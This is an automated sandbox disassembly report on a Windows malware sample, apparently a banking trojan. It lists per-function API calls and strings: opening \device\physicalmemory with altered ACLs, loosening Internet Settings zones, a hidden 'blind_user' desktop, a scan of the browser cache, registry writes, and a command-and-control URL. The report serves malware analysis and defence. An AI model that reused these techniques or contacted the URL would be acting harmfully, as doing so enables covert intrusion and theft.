Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7
@, xrefs: 004028DD

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
yes, xrefs: 0040510E
1601, xrefs: 004050D4
BrowseNewProcess, xrefs: 00405113
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118
GlobalUserOffline, xrefs: 004050FA

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

%02X , xrefs: 00403872
HEX: , xrefs: 0040385E

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
API String ID: 1245325315-1222218007
Opcode ID: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction ID: 52c0c8d8f8a1b88d6522b4dea913535513547713cd70a2aa0dd21656c7656eb5
Opcode Fuzzy Hash: 374fb238f9a8af98a0c272c884aa5e7a000c0b0753857630dac3c0af84d03f4f
Instruction Fuzzy Hash: E1118673B102116FE710FEF5DC81BAB7AE89B00355F10483BE644F32D1E6B8A50286B9

Function 0040109B Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

signal.CRTDLL(0000000B,00000000), ref: 0040119C
signal.CRTDLL(00000008,00000000), ref: 004011B6
signal.CRTDLL(00000000), ref: 004011D5
raise.CRTDLL ref: 004011E3

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: signal$raise
String ID:
API String ID: 372037113-0
Opcode ID: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction ID: baa5ba32779064c34a5af0890878b5a2dbb5619b613b0807c362cc876063d63b
Opcode Fuzzy Hash: 2d1ef5de37ea69ebb4b8d4bb24db1da757c13c860f6842aad27d4f5ac914ae12
Instruction Fuzzy Hash: 4541B475A01204DFC720DF18EC84B5677B4FB08350F44457AEE14AB3E1E734A965CBAA

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 0040421F Relevance: 6.0, APIs: 4, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404255
RegSetValueExA.ADVAPI32(?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?,4FB14922), ref: 00404273
RegCloseKey.ADVAPI32(?,?,4FB14922,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00020006,00000000,?,?), ref: 0040427F

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CloseCreateValue
String ID:
API String ID: 1818849710-0
Opcode ID: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction ID: d96ef7c4080a9b633a5bca21bfcbc2c766a155132064e5ed691f16c3214ccdec
Opcode Fuzzy Hash: 65498cc65565106dc5b66ff6a4b4d842dc0e77ec129b82882a45272a282f6444
Instruction Fuzzy Hash: B801F772B10109BBCF11AEB5CC02F9EBEBA9F84340F240476B704F61E0D675D9116718

Function 0040429C Relevance: 6.0, APIs: 4, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004042D3
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042EF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,00000000,00020019,?), ref: 004042FB

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction ID: 691f158720e2b36127ee9bd81ba90e70b5a5535aabeb9bf87ba7554e5ddc9d88
Opcode Fuzzy Hash: 357a631b938b58c4fbb87905ba1aa3de6a3adf1b78dd9d8722630d207e2470c7
Instruction Fuzzy Hash: 9801F271B1410ABACF109E25CC02BEEBFA99F94390F140472BE04F61E1D374EE11A3A9

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

GetWindowTextA.USER32(?,?,?), ref: 004018E2
_sleep.CRTDLL(00000000), ref: 00401985

Strings

Microsoft Internet Explorer, xrefs: 004018E9

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982452542.0000000000438000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Opbieagi.jbxd

Yara matches

Similarity

API ID: TextWindow_sleep
String ID: Microsoft Internet Explorer
API String ID: 2600969163-3125735337
Opcode ID: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction ID: b939d44f97a8665b9279395720dceab0b5e56fea97a4cdd5017e5321b1dcff8d
Opcode Fuzzy Hash: 2f2919c86dfda4ef7c58b175597176eedc8b81590a8529b1749621bc65d83200
Instruction Fuzzy Hash: 0B511D71A00215EFDB20CFA8D884BAAB7F4BB18315F5041B6E904E72A0D7749995CF59

Function 0040682B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406753: CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
Part of subcall function 00406753: GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
Part of subcall function 00406753: CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

_sleep.CRTDLL(000927C0,00418E30,http://tat-neftbank.ru/kkq.php,ofs_kk), ref: 00406854

Strings

http://tat-neftbank.ru/kkq.php, xrefs: 00406840
ofs_kk, xrefs: 0040683B

Memory Dump Source

Source File: 00000003.00000002.1982364047.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1982345729.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982382134.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982403246.000000000042E000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982419453.000000000042F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1982436554.0000000000436000.00000020.00000001.01000000.00000006.sdmpDownload File
